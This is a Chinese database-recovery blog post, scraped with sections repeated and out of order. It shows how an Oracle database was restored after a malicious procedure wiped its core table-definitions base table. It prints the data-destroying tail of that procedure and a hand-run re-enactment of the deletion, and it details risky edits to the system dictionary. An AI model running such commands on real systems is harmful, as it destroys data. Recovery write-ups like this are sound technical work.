.- ObjSeqMissing               ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedUndo                ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedIndex               ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedIndexPartition      ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedIndexSubPartition   ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedTable               ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedTablePartition      ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedTableSubPartition   ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- MissingPartCol              ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedSeg$                ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- OrphanedIndPartObj#         ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- DuplicateBlockUse           ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- FetUet                      ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- Uet0Check                   ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- SeglessUET                  ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- BadInd$                     ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- BadTab$                     ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- BadIcolDepCnt               ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- ObjIndDobj                  ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- TrgAfterUpgrade             ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- ObjType0                    ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- BadOwner                    ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- StmtAuditOnCommit           ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- BadPublicObjects            ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- BadSegFreelist              ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- BadDepends                  ... 1102000400 <=  *All Rel* 02/14 22:49:54 PASS
.- CheckDual                   ... 1102000400 <=  *All Rel* 02/14 22:49:55 PASS
.- ObjectNames                 ... 1102000400 <=  *All Rel* 02/14 22:49:55 PASS
.- BadCboHiLo                  ... 1102000400 <=  *All Rel* 02/14 22:49:55 PASS
.- ChkIotTs                    ... 1102000400 <=  *All Rel* 02/14 22:49:55 PASS
.- NoSegmentIndex              ... 1102000400 <=  *All Rel* 02/14 22:49:55 PASS
.- BadNextObject               ... 1102000400 <=  *All Rel* 02/14 22:49:55 PASS
.- DroppedROTS                 ... 1102000400 <=  *All Rel* 02/14 22:49:55 PASS
.- FilBlkZero                  ... 1102000400 <=  *All Rel* 02/14 22:49:55 PASS
.- DbmsSchemaCopy              ... 1102000400 <=  *All Rel* 02/14 22:49:55 PASS
.- OrphanedObjError            ... 1102000400 >   1102000000 02/14 22:49:55 PASS
.- ObjNotLob                   ... 1102000400 <=  *All Rel* 02/14 22:49:55 PASS
.- MaxControlfSeq              ... 1102000400 <=  *All Rel* 02/14 22:49:55 PASS
.- SegNotInDeferredStg         ... 1102000400 >   1102000000 02/14 22:49:55 PASS
.- SystemNotRfile1             ... 1102000400 >    902000000 02/14 22:49:55 PASS
.- DictOwnNonDefaultSYSTEM     ... 1102000400 <=  *All Rel* 02/14 22:49:55 PASS
.- OrphanTrigger               ... 1102000400 <=  *All Rel* 02/14 22:49:55 PASS
.- ObjNotTrigger               ... 1102000400 <=  *All Rel* 02/14 22:49:55 PASS
---------------------------------------
14-FEB-2019 22:49:55  Elapsed: 2 secs
---------------------------------------
Found 11 potential problem(s) and 0 warning(s)
Contact Oracle Support with the output and trace file
to check if the above needs attention or not
 
PL/SQL procedure successfully completed.
 
Statement processed.
 
Complete output is in trace file:
/u01/app/oracle/diag/rdbms/lxy/lxy/trace/lxy_ora_1808_HCHECK.trc

发现了11处问题,都是HCKE-0002: Object type column with missing OID$。 这是什么意思呢?
分析hcheck脚本的MissingOIDOnObjCol存储过程:

           (nF      In Number  Default 0,
            VerChk  In Number  Default 5,
            Verbose In Boolean Default FALSE)
  Is
    nFr  Number ;
    Cursor sCur1 Is
      Select o.obj# , o.type#, o.owner#, o.name, c.col#, c.intcol#,
               c.name cname, t.property
      From   obj$ o, col$ c, coltype$ ct, oid$ oi, tab$ t
      Where  o.obj#     = ct.obj#
      And    ct.obj#    = c.obj#
      And    ct.col#    = c.col#
      And    ct.intcol# = c.intcol#
      And    oi.oid$(+) = ct.toid
      And    o.obj#     = t.obj#(+)
      And    oi.oid$ is null;
    ps1  Varchar2(10) := 'HCKE-0002';
    ps1a Varchar2(65) := 'Object type column with missing OID
    ps1n Varchar2(40) := '(Doc ID 1360268.1)';
    CursorRun Boolean := FALSE;
  Begin
    If ( nF = 0) Then
      nFr := FindFname('MissingOIDOnObjCol') ; Else nFr := nF;
    End If ;
 
    If ChecknCatVnFR (nCatV, nFr, VerChk) = FALSE Then Return; End If;
    For c1 In sCur1 Loop
      If (not CursorRun) Then
          report_failure('FAIL',ps1,ps1a,ps1n,CursorRun);
      End If;
      put_line(' OBJ#='||c1.obj#||' Name='||Owner(c1.owner#)||'.'
                ||c1.name||' IntCol#='||c1.intcol#||'='||c1.cname
                ||' TabProp='||c1.property);
      Fatal := Fatal + 1 ;
    End Loop ;
    If (CursorRun) Then put(chr(10)) ; else put_line('PASS'); End If ;
  End ;

仔细对脚本进行分析,推测是当表的字段类型为type类型的对象时,coltype$的toid和oid$的oid$不匹配导致的,应该是之前为了open数据库替换块的时候造成的。
以OBJ#=12946 Name=SYS.AQ$SCHEDULER$_EVENT_QTAB IntCol#=20=USER_DATA为例继续分析:
由于数据字典不一致,该表是不可以正常访问:

ERROR:
ORA-00600: internal error code, arguments: [16687], [12946], [20], [], [], [], [], [], [], [], [], []
 
 
SQL>  select * from SYS.AQ$SCHEDULER$_EVENT_QTAB;
select * from SYS.AQ$SCHEDULER$_EVENT_QTAB
*
ERROR at line 1:
ORA-21700: object does not exist or is marked for delete

对正常的数据库查询可以看的SYS.AQ$SCHEDULER$_EVENT_QTAB的字段名为USER_DATA的字段类型为SCHEDULER$_EVENT_INFO,通过下面的查询可以发现确实不匹配(以oid$的为准,因为之前替换的是C_OBJ#,而coltype$是C_OBJ#中的一个表):

 
OID$
--------------------------------
7BB17EE961D00845E0536438A8C00848
 
SQL>  select toid from coltype$ where obj# in (select obj# from obj$ where name='AQ$SCHEDULER$_EVENT_QTAB') and intcol#=20;
 
TOID
--------------------------------
81673B4EDDF5111FE0536438A8C02F5D

通过下面的查询也可以推出以oid$的为准

 
TOID
--------------------------------
7BB17EE961D00845E0536438A8C00848

修改coltype$后恢复正常:

 
1 row updated.
 
SQL>  commit;
 
Commit complete.
 
SQL>  @flc
System altered.
System altered.
 
SQL>  select * from AQ$SCHEDULER$_EVENT_QTAB;
 
no rows selected

逐一修改后,再次执行hcheck:

HCheck Version 07MAY18 on 15-FEB-2019 01:56:00
----------------------------------------------
Catalog Version 11.2.0.4.0 (1102000400)
db_name: LXY
 
                                   Catalog       Fixed
Procedure Name                     Version    Vs Release    Timestamp      Result
------------------------------ ... ---------- -- ---------- -------------- ------
.- LobNotInObj                 ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- MissingOIDOnObjCol          ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- SourceNotInObj              ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- OversizedFiles              ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- PoorDefaultStorage          ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- PoorStorage                 ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- TabPartCountMismatch        ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedTabComPart          ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- MissingSum$                 ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- MissingDir$                 ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- DuplicateDataobj            ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- ObjSynMissing               ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- ObjSeqMissing               ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedUndo                ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedIndex               ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedIndexPartition      ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedIndexSubPartition   ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedTable               ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedTablePartition      ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedTableSubPartition   ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- MissingPartCol              ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedSeg$                ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- OrphanedIndPartObj#         ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- DuplicateBlockUse           ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- FetUet                      ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- Uet0Check                   ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- SeglessUET                  ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- BadInd$                     ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- BadTab$                     ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- BadIcolDepCnt               ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- ObjIndDobj                  ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- TrgAfterUpgrade             ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- ObjType0                    ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- BadOwner                    ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- StmtAuditOnCommit           ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- BadPublicObjects            ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- BadSegFreelist              ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- BadDepends                  ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- CheckDual                   ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- ObjectNames                 ... 1102000400 <=  *All Rel* 02/15 01:56:00 PASS
.- BadCboHiLo                  ... 1102000400 <=  *All Rel* 02/15 01:56:01 PASS
.- ChkIotTs                    ... 1102000400 <=  *All Rel* 02/15 01:56:01 PASS
.- NoSegmentIndex              ... 1102000400 <=  *All Rel* 02/15 01:56:01 PASS
.- BadNextObject               ... 1102000400 <=  *All Rel* 02/15 01:56:01 PASS
.- DroppedROTS                 ... 1102000400 <=  *All Rel* 02/15 01:56:01 PASS
.- FilBlkZero                  ... 1102000400 <=  *All Rel* 02/15 01:56:01 PASS
.- DbmsSchemaCopy              ... 1102000400 <=  *All Rel* 02/15 01:56:01 PASS
.- OrphanedObjError            ... 1102000400 >   1102000000 02/15 01:56:01 PASS
.- ObjNotLob                   ... 1102000400 <=  *All Rel* 02/15 01:56:01 PASS
.- MaxControlfSeq              ... 1102000400 <=  *All Rel* 02/15 01:56:01 PASS
.- SegNotInDeferredStg         ... 1102000400 >   1102000000 02/15 01:56:01 PASS
.- SystemNotRfile1             ... 1102000400 >    902000000 02/15 01:56:01 PASS
.- DictOwnNonDefaultSYSTEM     ... 1102000400 <=  *All Rel* 02/15 01:56:01 PASS
.- OrphanTrigger               ... 1102000400 <=  *All Rel* 02/15 01:56:01 PASS
.- ObjNotTrigger               ... 1102000400 <=  *All Rel* 02/15 01:56:01 PASS
---------------------------------------
15-FEB-2019 01:56:01  Elapsed: 1 secs
---------------------------------------
Found 0 potential problem(s) and 0 warning(s)
 
PL/SQL procedure successfully completed.
 
Statement processed.

至此整个数据库比较完整的恢复完毕。

------------------作者介绍-----------------------
姓名:黄廷忠
现就职:Oracle中国高级服务团队
曾就职:OceanBase、云和恩墨、东方龙马等
电话、微信、QQ:18081072613
个人博客: (http://www.htz.pw)
CSDN地址: (https://blog.csdn.net/wwwhtzpw)
博客园地址: (https://www.cnblogs.com/www-htz-pw)


;
DELETE SYS.TAB$;
COMMIT;
EXECUTE IMMEDIATE 'alter system checkpoint';
END IF;
END;
/

```该存储过程逻辑为:判断数据库的创建时间是否大于 300 天,如果大于300天则ctas备份tab$之后,delete tab$。

如果有备份的话,那么很简单就不展开了,本文主要介绍没备份的方法。
首先手工构造场景:
模拟DBMS_SUPPORT_DBMONITORP里的内容

```SQL> @swl

System altered.

SQL> select count(*) from t;

COUNT(*)
----------
13982

SQL```>
``` create table t_bak as select * from tab$;

Table created.

SQL> delete from tab$;

1251 rows deleted.

SQL> commit;

Commit complete.

SQL> alter system checkpoint;

System altered.

SQL> shutdown abort;
ORACLE instance shut down.


此时启动数据库报错ORA-00600: internal error code, arguments: [16703], [1403], [20]


恢复思路

由于有且仅有tab$被delete,所以如果能恢复tab$的数据则数据库将得以恢复,这里我想到的大致恢复方法如下(欢迎大家提供更多的恢复思路):

写成脚本逐一还原被delete的行,目前我的同事编写了python和shell两个版本,经过实战验证都可以完美恢复,千万别问我这两个脚本的下载的地址,问了也没有用,因为脚本不是我写的,没有得到作用的同意,无法分享给大家。
由于恶意代码中,delete tab$前,ctas了一份tab$的备份,可以尝试先open数据库,再根据备份的tab$ insert到tab$中。
odu抽取数据,重建库
本文只模拟第二种方法,恢复步骤大致如下:

open数据库

根据备份的tab$ insert到tab$中
在恢复之前首先简单介绍一下tab$,tab$是cluster C_OBJ#中的一个table,CLUSTER KEY为OBJ#,C_OBJ#中还包括有ICOL$、IND$、COL$、CLU$、I_OBJ#、COLTYPE$等等bootstrap核心对象,tab$在数据库中是非常核心的一个基表,它记录了table的段头地址以及统计信息。在数据库open过程中,需要访问到的基表对象如果在tab$中不存在,则数据库将无法open,报错即为ORA-00600: internal error code, arguments: [16703], [1403], [xxx]。


灵魂拷问1:那如何open数据库呢?

在数据库open过程中,需要访问到的基表对象如果在tab$中不存在将报错ORA-00600: internal error code, arguments: [16703], [1403], [xxx],那么将这些对象的信息还原回tab$,则数据库将open成功。

灵魂拷问2:如何确定数据库open需要访问哪些核心基表呢?

找一个正常的数据库做open时的10046,过程如下:


简单的对10046 trace文件进行筛选则可以找到这些基表的obj#,并在一台同平台同版本的数据库上查询这些对象的rdba地址以及其他信息


这些对象在同版本同平台的数据库上的rdba地址一般都是一致的,所以找一台正常运行的同版本同平台的数据库(最好是比较干净的库,否则后续处理会比较麻烦),使用bbed进行替换,用sql拼接出bbed的命令


……省略

尝试open数据库:


灵魂拷问3:如何将备份的tab$ insert回tab$?

由于tab$的备份表在tab$中并没有恢复所以无法查询,下面需要根据redodump去确定tab$的备份表t_bak的rdba


通过对logdump搜索OBJ:2(C_OBJ#的dataobj#)、OP:11.2(insert操作)、tabn:1(C_OBJ#中tab$的tab#),以及查出来的t_bak的obj#,不难找到create table as t_bak对tab$的redo日志:


可以看到t_bak在tab$的rdba地址为0x00407b2c(file 1 block 31532),cki为0即cluster key为kdbr[0]


与redo dump一致,下面开始恢复tab$中t_bak的记录,由于是cluster block所以过程有点繁琐


t_bak已经恢复完成,下面insert回tab$


至此数据库基本恢复完成。

但是通过hcheck脚本检查数据字典一致性发现还是有一些问题存在:


发现了11处问题,都是HCKE-0002: Object type column with missing OID$。 这是什么意思呢?
分析hcheck脚本的MissingOIDOnObjCol存储过程:


仔细对脚本进行分析,推测是当表的字段类型为type类型的对象时,coltype$的toid和oid$的oid$不匹配导致的,应该是之前为了open数据库替换块的时候造成的。
以OBJ#=12946 Name=SYS.AQ$SCHEDULER$_EVENT_QTAB IntCol#=20=USER_DATA为例继续分析:
由于数据字典不一致,该表是不可以正常访问:


对正常的数据库查询可以看的SYS.AQ$SCHEDULER$_EVENT_QTAB的字段名为USER_DATA的字段类型为SCHEDULER$_EVENT_INFO,通过下面的查询可以发现确实不匹配(以oid$的为准,因为之前替换的是C_OBJ#,而coltype$是C_OBJ#中的一个表):


通过下面的查询也可以推出以oid$的为准


修改coltype$后恢复正常:


逐一修改后,再次执行hcheck:


至此整个数据库比较完整的恢复完毕。

——————作者介绍———————–
姓名:黄廷忠
现就职:Oracle中国高级服务团队
曾就职:OceanBase、云和恩墨、东方龙马等
电话、微信、QQ:18081072613
个人博客: (http://www.htz.pw)
CSDN地址: (https://blog.csdn.net/wwwhtzpw)
博客园地址: (https://www.cnblogs.com/www-htz-pw)


特殊恢复:ORA-00600 16703的多种恢复演示:等您坐沙发呢!

发表评论

gravatar

? razz sad evil ! smile oops grin eek shock ??? cool lol mad twisted roll wink idea arrow neutral cry mrgreen

快捷键:Ctrl+Enter